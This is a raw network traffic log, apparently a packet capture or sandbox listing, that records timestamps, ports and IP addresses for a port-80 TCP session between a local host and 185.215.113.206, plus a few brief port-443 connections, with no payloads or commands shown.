Nov 22, 2024 23:06:37.913219929 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.913687944 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.913734913 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.913872004 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.914516926 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.914613008 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.915054083 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.915111065 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.915307999 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.915486097 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.915569067 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.915616989 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.916177034 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.916212082 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.916237116 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.916306973 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.916913033 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.917043924 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.917097092 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.917725086 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.917778015 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.917969942 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.918085098 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.918541908 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.918653965 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.918699026 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.919332027 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.919389009 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.919543028 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.919644117 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.920142889 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.920305967 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.920763016 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.920819044 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.920919895 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.921026945 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.921633959 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.921792030 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.921808958 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.921859980 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.921874046 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.922600985 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.922616959 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.922657013 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.922672987 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.923373938 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.923445940 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.923496962 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.924187899 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.924236059 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.924324036 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.924362898 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.925004005 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.925064087 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.925479889 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.925534964 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.925782919 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.925869942 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.925899029 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.925992966 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.926587105 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.926647902 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.927309036 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.927445889 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.927504063 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.927540064 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.927572966 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.927618980 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.928246975 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.928262949 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.928297997 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.928320885 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.929035902 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.929112911 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.929287910 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.929332972 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.929817915 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.930176020 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.930223942 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.930625916 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.930908918 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.930962086 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.034971952 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.035058975 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.035134077 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.035176992 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.035347939 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.035401106 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.035413980 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.035453081 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.036140919 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.036204100 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.036473036 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.036844015 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.036890984 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.037266970 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.037323952 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.037472963 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.037527084 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.038060904 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.038086891 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.038137913 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.038887978 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.039011955 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.039033890 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.039069891 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.039693117 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.039748907 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.040003061 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.040081024 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.040591955 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.040774107 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.040826082 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.041491032 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.041539907 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.041583061 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.041630983 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.042104006 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.042151928 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.042180061 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.042392969 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.042898893 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.042953968 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.043092012 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.043133974 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.043715000 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.043775082 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.043934107 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.044107914 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.044523954 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.044598103 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.044641018 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.045336008 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.045406103 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.045478106 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.045521975 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.046154022 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.046206951 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.046375036 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.046591043 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.046993017 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.047034025 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.047070026 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.047189951 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.047908068 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.047971010 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.048157930 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.048212051 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.048590899 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.048722029 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.048743963 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.048891068 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.049392939 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.049443007 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.049487114 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.049612999 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.050199986 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.050261021 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.050338984 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.050384045 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.051049948 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.051103115 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.051109076 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.051188946 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.051810980 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.051873922 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.051994085 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.052102089 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.052638054 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.052705050 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.052850008 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.052897930 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.053423882 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.053484917 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.053667068 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.053809881 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.054214001 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.054276943 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.054361105 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.054506063 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.055074930 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.055135012 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.055231094 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.055298090 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.055821896 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.055881023 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.066195965 CET	49809	443	192.168.2.5	18.165.220.57
Nov 22, 2024 23:06:38.107332945 CET	443	49809	18.165.220.57	192.168.2.5
Nov 22, 2024 23:06:38.120888948 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.120959997 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.121015072 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.121062040 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.121125937 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.121181965 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.121217012 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.121264935 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.121931076 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.122109890 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.122423887 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.122469902 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.122734070 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.122787952 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.123123884 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.123212099 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.123567104 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.123666048 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.123759031 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.123872995 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.124367952 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.124433041 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.124566078 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.124609947 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.125178099 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.125247002 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.125252008 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.125318050 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.125983953 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.126000881 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.126059055 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.126770973 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.126914978 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.127048016 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.127090931 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.127612114 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.127677917 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.127784014 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.127839088 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.128403902 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.128464937 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.128810883 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.128868103 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.129199028 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.129283905 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.129364967 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.129410028 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.130038977 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.130099058 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.130464077 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.130569935 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.130812883 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.130858898 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.130902052 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.131165028 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.131623030 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.131676912 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.131899118 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.132108927 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.132440090 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.132486105 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.132709980 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.132781982 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.133229017 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.133331060 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.133374929 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.133841991 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.134059906 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.134140015 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.134180069 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.134886026 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.135052919 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.135101080 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.135660887 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.135708094 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.135867119 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.136045933 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.136478901 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.136538982 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.136607885 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.136658907 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.137268066 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.137339115 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.137413025 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.137459040 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.138086081 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.138212919 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.138442039 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.138484001 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.138941050 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.139014959 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.139084101 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.139144897 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.139730930 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.139786959 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.139837980 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.139878988 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.140502930 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.140553951 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.140816927 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.140906096 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.141329050 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.141345024 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.141374111 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.141407013 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.234375954 CET	49858	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:38.234406948 CET	443	49858	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:38.234478951 CET	49858	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:38.234858036 CET	49858	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:38.234874010 CET	443	49858	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:38.245726109 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.245801926 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.246115923 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.246133089 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.246150017 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.246161938 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.246186018 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.246196032 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.246881962 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.246948957 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.247097015 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.247134924 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.247695923 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.247749090 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.247843027 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.247890949 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.248526096 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.248586893 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.248687029 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.248828888 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.249341965 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.249428034 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.249510050 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.249561071 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.250124931 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.250175953 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.250319958 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.250379086 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.250933886 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.251005888 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.251014948 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.251051903 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.251746893 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.251843929 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.251902103 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.251985073 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.252568007 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.252623081 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.252628088 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.252695084 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.253354073 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.253407955 CET	49762	80	192.168.2.5	185.215.113.206
